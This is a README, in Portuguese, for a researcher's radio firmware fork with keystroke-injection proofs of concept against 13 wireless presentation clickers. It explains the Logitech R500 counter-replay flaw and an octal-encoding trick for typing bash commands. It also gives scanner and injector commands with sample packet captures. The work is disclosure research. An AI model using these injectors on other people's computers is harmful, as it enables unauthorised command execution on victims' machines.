
Vulnerabilidades de injeção de teclas em apresentadores sem fio
Estava com vontade de fazer um pouco de engenharia reversa de RF, então comprei alguns clickers de apresentação e me diverti um pouco.
Este é um fork do nrf-research-firmware (que escrevi há alguns anos na Bastille). Adicionei suporte para alguns novos transceptores/protocolos e incluí PoCs de injeção de teclas para 13 clickers de apresentação comuns.
| Fabricante | Modelo | Protocolo | RFIC | Adicionado |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
Este é o protocolo padrão criptografado de teclado Logitech, usado pelo R500. Ele é mais ou menos vulnerável ao ataque de "injeção de teclas criptografadas" que documentei com os teclados Logitech Unifying como parte do projeto MouseJack.
Digo mais ou menos, porque nem todos os códigos de varredura HID são aceitos. Especificamente, 0x04-0x1D (A-Z) são substituídos por 0x00 quando o dongle envia o pacote para o computador host, o que significa que podemos injetar o que quisermos, desde que não seja uma letra. A outra exceção é que combinações de teclas com ctrl são permitidas, mesmo quando incluem letras.
Uma injeção de teclas eficaz via R500 exige que sejamos um pouco criativos.
Vamos supor que o alvo esteja em uma sessão bash. No bash, podemos codificar nossos caracteres em base-8, codificando comandos que contenham letras que queremos que o alvo execute.
Por exemplo, ping google.com é codificado como $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'. Se enviarmos essa string para uma sessão bash e depois enviarmos enter, o comando ping google.com será executado na máquina alvo.
Você pode encontrar o endereço do seu Logitech R500 usando o nrf24-scanner da seguinte forma:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Os pacotes devem se parecer com algo assim:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
A injeção é possível porque o dongle não impõe a incrementação dos contadores AES, então você pode repetir pacotes. Um pacote enviado via OTA é composto por um payload USB HID que foi criptografado no modo contador AES, e depois pelo contador. Quando você pressiona um botão no clicker de apresentação, ele gera um pacote de tecla pressionada (key down) e um pacote de tecla solta (key up). O pacote de tecla solta é todo composto por 0's, o que nos fornece um material de chave limpo e reutilizável, que podemos aplicar XOR com nosso próprio payload e enviar via OTA.
Não deveria ser difícil automatizar o processo de escutar um botão sendo pressionado, extrair o segundo pacote (key up) e usá-lo automaticamente como referência de material de chave. Mas sou preguiçoso, então primeiro você precisará observar um clique de botão por conta própria, que se parece com isso:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
O segundo pacote de 22 bytes é o pacote de tecla solta (key-up).
Remova o último byte do payload e copie e cole a string em logitech.py, substituindo KEYUP_REF.
(Não deveria funcionar sem atualizar o KEYUP_REF, mas se funcionar, por favor me avise!)
Injete a sequência de teclas codificada em base-8 do comando bash ping google.com em um dongle Logitech R500 específico (endereço 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
Este é o protocolo Logitech padrão não criptografado, usado pelos R400/R800.
Você pode encontrar o endereço do seu Logitech R400/R800 usando o nrf24-scanner da seguinte forma:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Os pacotes devem se parecer com algo assim:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
Injete a sequência de teclas de teste em um dongle Logitech R400/R800 específico (endereço 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
O Rii Wireless Presenter (caneta arredondada) é baseado no BK2451 (que parece ser um clone do nRF24). Isso parece ser um protocolo genérico, dada a prevalência de dispositivos irmãos, então provavelmente recategorizarei isso depois de obter mais dados.
Funcionalmente, é um teclado sem fio não criptografado, vulnerável à injeção de teclas.
O Wireless Presenter (caneta arredondada) usa nRF24 Enhanced Shockburst a 250Kb/s (sem ACKs, ao que parece) e um endereço de 5 bytes. O dispositivo que testei foi observado estacionado em 2425 MHz, mas parece usar algum tipo de esquema de agilidade de frequência. Na prática, é necessário enviar alguns pacotes dummy no canal alvo antes de enviar pacotes de teclas.